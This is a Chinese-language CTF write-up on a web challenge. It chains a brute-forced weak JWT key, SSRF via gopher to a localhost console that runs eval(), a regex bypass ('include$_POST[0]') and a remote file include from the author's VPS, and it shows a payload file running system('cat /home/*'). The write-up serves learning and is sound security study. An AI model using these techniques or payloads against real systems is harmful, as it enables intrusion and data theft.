前言 : 我最开始写文章的初衷是为了写给自己看的,然后记录自己的学习,也给自己留个回忆吧(感觉这个挺有意思的),然后现在可能慢慢会在意下读者的感受,嘻嘻。。。
然后这个题也不难,就是ssrf没学好,基础不够牢,也没咋遇到,然后记录一下,感觉还有点小意思吧。。。
那个环境没了,eee就没有截图啦。。。
开始是一个平台,然后我们是guest用户,然后提示我们要成admin嘛(下面那个是后面的截图,之前的没了)
然后是弱密钥,爆破,密钥为12345,然后改成admin用户,然后跳转到/index.php?comment=http://127.0.0.1/console.php
很明显的一个ssrf嘛,然后用file协议读了一些文件
console.php
<?php
error_reporting(0);
require("functions.php");
$com = $_POST['com'];
// if(ssrf_check() && Limit_command($comment)){
echo $com;
if(ssrf_check()){
if(isset($_POST['com'])){
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\(|\{|\}|<|>|\s/i", $com)){
// assert($com);
eval($com);
}else{
die('hack');
}
}
}else{
die('<script>alert("非本地访问")</script>');
}
echo '
functions.php
<?php
require("jwt.php");
function check(){
$Jwt_token=$_COOKIE['token'];
$getPayload_test=Jwt::verifyToken($Jwt_token);
if($getPayload_test){
if($getPayload_test['username']==="admin"){
return true;
}
}
return false;
}
function ssrf_check(){
//获取客户端ip
if(getenv("REMOTE_ADDR")){
$ip = getenv("REMOTE_ADDR");
}
if($ip==='127.0.0.1'){
return true;
}
return false;
}
?>
然后大至思路就出来了,就是gopher打console.php
然后正则是用com=include$_POST[0];
这个绕过的
下面就是构造POST请求了,这里就是ssrf搞的少,当时没有很快的搞出来,现去搜了一波
然后要注意一下Content-Length的值
然后这样后,下一步打算怎么操作呢,是直接这样传这个POST嘛
我开始是这样想,然后发现传是传过去了,但是打不通。。。
然后我换了种就是
然后打通了,但是没找到flag,然后感觉要rce才行。。。
然后试了其他协议吧,发现都不行。。。。然后最后发现可以包含外网。。那就简单了呀
然后用这个
这里有个细节,就是3.php的内容我开始写的是
<?php system('ls'); ?>
然后打过去的回显发现是自己vps上的当前目录的文件,猜测是直接把php的内容给执行了,就有点像pearcmd那个东西的一个方法那种,也是今天上午才搞那个,然后就联想到了,最后猜flag在/home下,拿下
最后用的3.php的代码
<?php
echo "<?php system('cat /home/*');system('ls /home');?>";
?>
然后bp里的那个post数据先url加密一次,然后%0a
替换成%0d%0a
,再加密一次,然后直接gopher打就好